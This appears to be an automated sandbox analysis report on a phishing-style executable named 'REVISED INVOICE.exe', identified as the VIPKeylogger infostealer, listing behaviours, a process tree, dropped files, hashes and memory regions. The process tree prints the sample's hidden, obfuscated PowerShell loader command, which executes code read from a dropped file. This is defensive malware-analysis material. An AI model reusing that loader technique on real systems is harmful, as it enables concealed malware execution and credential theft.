Analysis

  • max time kernel
    0s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/10/2024, 09:54

General

  • Target
    REVISED INVOICE.exe
  • Size 983KB
  • Sample241024-lxdrrssala
  • SHA256 d2320e5704e90bc713c59a0521bacf04ca5751c2481e1dd4e3a95494981d867c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

Processes

  • C:\Users\Admin\AppData\Local\Temp\REVISED INVOICE.exe
    "C:\Users\Admin\AppData\Local\Temp\REVISED INVOICE.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    PID:3692
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Funktionserklringen=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Hyperclimax.Com';$Longers=$Funktionserklringen.SubString(56921,3);.$Longers($Funktionserklringen)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4372
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
          PID:3080

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_4i0kov0g.dsx.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4i0kov0g.dsx.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          Hyperclimax.Com

          • Path C:\Users\Admin\AppData\Local\fona\Kvit\Hyperclimax.Com
          • Size 55KB
          • SHA256 f79002317d2a561e589e0006dd549d39c71488689ce772b15f84f393926a2786
          • MD5 SHA1 SHA512 SSDEEP

          Smudgeproof.Spe

          • Path C:\Users\Admin\AppData\Local\fona\Kvit\Smudgeproof.Spe
          • Size 315KB
          • SHA256 2f9c4d11c84da12fc93d685d8a1cf99f0b7c9fe42d50bcd56e08d6e4b2a8014b
          • MD5 SHA1 SHA512 SSDEEP

          depoh.lnk

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\depoh.lnk
          • Size 876B
          • SHA256 145b6e14ecdf155dbc9c2a7aee435146a08185b9ed97aef56d9ee6768df36eb2
          • MD5 SHA1 SHA512

          memory/3080-248-0x0000000024B50000-0x0000000024BE2000-memory.dmp

          memory/3080-249-0x0000000024B00000-0x0000000024B0A000-memory.dmp

          memory/3080-246-0x0000000024A50000-0x0000000024AA0000-memory.dmp

          memory/3080-245-0x0000000025200000-0x00000000253C2000-memory.dmp

          memory/3080-242-0x0000000000CA0000-0x0000000000CE8000-memory.dmp

          memory/3080-241-0x0000000000CA0000-0x0000000001EF4000-memory.dmp

          memory/3080-243-0x0000000024580000-0x000000002461C000-memory.dmp

          memory/4372-214-0x00000000077B0000-0x00000000077DA000-memory.dmp

          memory/4372-196-0x0000000007600000-0x0000000007632000-memory.dmp

          memory/4372-192-0x0000000006730000-0x0000000006752000-memory.dmp

          memory/4372-193-0x0000000007810000-0x0000000007DB4000-memory.dmp

          memory/4372-188-0x00000000061C0000-0x00000000061DE000-memory.dmp

          memory/4372-191-0x00000000066E0000-0x00000000066FA000-memory.dmp

          memory/4372-190-0x0000000007170000-0x0000000007206000-memory.dmp

          memory/4372-195-0x0000000008440000-0x0000000008ABA000-memory.dmp

          memory/4372-197-0x0000000070770000-0x00000000707BC000-memory.dmp

          memory/4372-210-0x0000000007670000-0x0000000007713000-memory.dmp

          memory/4372-211-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-212-0x0000000007770000-0x000000000777A000-memory.dmp

          memory/4372-215-0x00000000077E0000-0x0000000007804000-memory.dmp

          memory/4372-177-0x0000000005320000-0x0000000005386000-memory.dmp

          memory/4372-213-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-209-0x0000000007640000-0x000000000765E000-memory.dmp

          memory/4372-199-0x0000000070D20000-0x0000000071074000-memory.dmp

          memory/4372-216-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-198-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-189-0x00000000065D0000-0x000000000661C000-memory.dmp

          memory/4372-218-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-187-0x0000000005B90000-0x0000000005EE4000-memory.dmp

          memory/4372-220-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-221-0x00000000742FE000-0x00000000742FF000-memory.dmp

          memory/4372-222-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-223-0x0000000008AC0000-0x000000000D137000-memory.dmp

          memory/4372-224-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-225-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-226-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-228-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-176-0x00000000052B0000-0x0000000005316000-memory.dmp

          memory/4372-175-0x0000000005210000-0x0000000005232000-memory.dmp

          memory/4372-173-0x00000000053A0000-0x00000000059C8000-memory.dmp

          memory/4372-174-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-172-0x00000000742F0000-0x0000000074AA0000-memory.dmp

          memory/4372-171-0x0000000004C10000-0x0000000004C46000-memory.dmp

          memory/4372-170-0x00000000742FE000-0x00000000742FF000-memory.dmp